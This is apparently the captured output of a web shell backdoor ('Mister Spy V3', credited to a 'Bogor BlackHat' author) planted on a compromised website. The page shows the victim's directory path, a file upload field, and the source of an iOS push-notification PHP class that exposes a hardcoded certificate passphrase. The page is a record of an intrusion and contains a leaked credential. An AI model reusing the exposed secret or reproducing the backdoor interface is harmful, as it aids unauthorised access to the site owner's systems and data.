Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.enviopushios.php

<?php 

class EnvioPushIOS
{
	const Passphrase = '$Martin10';
	const Debug = true;
	
	private $PemFile;
	private $CertFile;
	
	public function __construct($pem, $cer)
	{
		$this->PemFile = $pem;
		$this->CertFile = $cer;
	}
	
	public function EnviarAlerta($IdEnvio, $Asunto, $Mensaje, $oRegistro)
	{
		$deviceToken = $oRegistro->CodigoRegistro;

		//badge
		$badge = 1;
		
		$ctx = stream_context_create();
		stream_context_set_option($ctx, 'ssl', 'local_cert',  $this->PemFile);
		stream_context_set_option($ctx, 'ssl', 'passphrase', EnvioPushIOS::Passphrase);
		//stream_context_set_option($ctx, 'ssl', 'cafile', $this->CertFile);
		
		// Open a connection to the APNS server
		$fp = null;
		if (!EnvioPushIOS::Debug)
			$fp = stream_socket_client('ssl://gateway.push.apple.com:2195', $err, $errstr, 60, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT, $ctx);
		else
			$fp = stream_socket_client('ssl://gateway.sandbox.push.apple.com:2195', $err, $errstr, 60, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT, $ctx);

		if (!$fp)
			return array('success' => false, 'return' => "Failed to connect: $err $errstr");

		//echo 'Connected to APNS' . PHP_EOL;

		// Create the payload body
		$body['aps'] = array(
			'title'	=> $Asunto,
			'alert' => $Mensaje,
			'message' => $Mensaje,
			'badge' => $badge,
			'sound' => 'default',
			'IdEnvio' => $IdEnvio
		);
		
		$success = 0;
		$payload = json_encode($body);
		
		$msg = chr(0) . pack('n', 32) . pack('H*', $deviceToken) . pack('n', strlen($payload)) . $payload;
		
		$result = fwrite($fp, $msg, strlen($msg));
		
		fclose($fp);
		
		if (!$result)
			return array('success' => false, 'return' => json_encode($result));
		else
			return array('success' => true, 'return' => json_encode($result));

	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat